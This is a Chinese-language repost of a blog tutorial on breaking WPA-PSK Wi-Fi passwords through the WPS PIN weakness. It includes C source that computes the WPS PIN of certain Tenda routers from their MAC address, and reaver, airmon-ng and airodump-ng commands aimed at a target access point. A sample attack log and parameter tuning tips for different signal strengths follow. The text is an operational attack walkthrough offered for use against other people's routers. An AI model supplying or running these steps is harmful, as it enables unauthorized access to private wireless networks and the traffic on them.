大家好,又见面了,我是你们的朋友全栈君。
PIN码的格式很简单, 八位十进制数,最后一位(第8位)为校验位(可根据前7位算出),验证时先检测前4位,如果一致则反馈一个信息,所以只需1万次就可完全扫描一遍前4位,前4位确定下来的话,只需再试1000次(接下来的3位),校验位可通过前7为算出,就可暴力验证出pin码。所以即时你不知道校验位怎么计算,那你最多尝试10000+1000+10次=11010次就可以获得PIN,从而获得wifi密码
不过使用PIN方法破解WPA-PSK密码有一个限制,就是AP必须开启了QSS、WPS功能!我们可以在扫描AP的时候判断目标AP是否开启了QSS、WPS功能,如下图使用airodump-ng扫描时候在MB栏中后面有个“.”的就是。
由于PIN是随机生成的一个8位10进制数。所以这是由各路由厂商生成的。腾达(Tenda)部分路由(C83A35,00B00C)是由MAC的前6位16进制数直接转化为7位10进制数外加一个检验码生成,算法弱爆了。所以可以直接通过Dec2Hex计算出来。 而像DLink对PIN错会有延迟,这样会导致PIN速度很慢,间接起到防PIN的作用,还有很多其他的,针对不同的路由可以去网上找相关资料。而有一些TPLink是直接带有防PIN功能的。当然这都是需要时间的,所以要有耐心。
“C83A35”或“00B00C”打头路由PIN计算工具源码,大家可以自己编译:
//Computes PIN code starts with OUI "C83A35" and "00B00C"
//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.
//Coded by Zhaochunsheng - iBeini.com
//Modified by Lingxi - WiFiBETA.COM
#include <stdio.h>
#include <stdlib.h>
#include <stdafx.h>
int main()
{
unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;
// printf("ComputePIN-C83A35\n");
printf("Description:\n");
printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");
printf("type the other six digits, you might be able to get the \n");
printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
printf("Code by ZhaoChunsheng 04/07/2012 http://www.2cto.com \n\n");
printf("Modified by Lingxi - WiFiBETA.COM\n\n");
//Translated to Chinese
printf("说明:\n");
printf("如果您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");
printf("输入后六位MAC地址(不分大小写)您或许可以获得该路由的WPS PIN密钥!\n");
printf("祝你好运!\n\n");
printf("由赵春生编写于2012年4月7日 Http://iBeini.com\n");
printf("由灵曦修改并汉化 WiFiBETA.COM\n\n");
printf("请输入后六位MAC地址(HEX):\n");
printf("Input the last 6 digits of MAC Address(HEX):");
scanf("%x",&PIN); printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);
printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
return 0;
}
unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;
}
在已知PIN码的情况下,使用 直接秒破
reaver -i mon0 -b Mac -p pin
使用 aircrack,寻找附近开启wps的路由器
airmon-ng start wlan0
airodump-ng mon0
ifconfig wlan0 down
使用reaver 破解开启wps功能的路由器密码
reaver在此过程中还会保存进度(/usr/local/etc/reaver/APs MAC.wpc)到文件。
reaver -i mon0 -b MAC -N -vv
reaver -i mon0 -b 8C:21:0A:5F:A2:FA -a -S -vv -d2 -t 5 -c 1
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon0 to channel 1
[+] Waiting for beacon from 8C:21:0A:5F:A2:FA
[+] Associated with 8C:21:0A:5F:A2:FA (ESSID: TP-LINK_5FA2FA)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
附上reaver调整参数的一些小技巧
reaver:
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key(可以提高PJ速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改
(非TP-LINK路由推荐–d9 –t9参数防止路由僵死
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
应因状况调整参数(-c后面都以目标频道为1作为例子)
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t 5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
参考链接: http://www.2cto.com/Article/201204/129296.html
.
转载于:https://www.cnblogs.com/outline/p/reaver.html
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/136113.html原文链接:https://javaforall.cn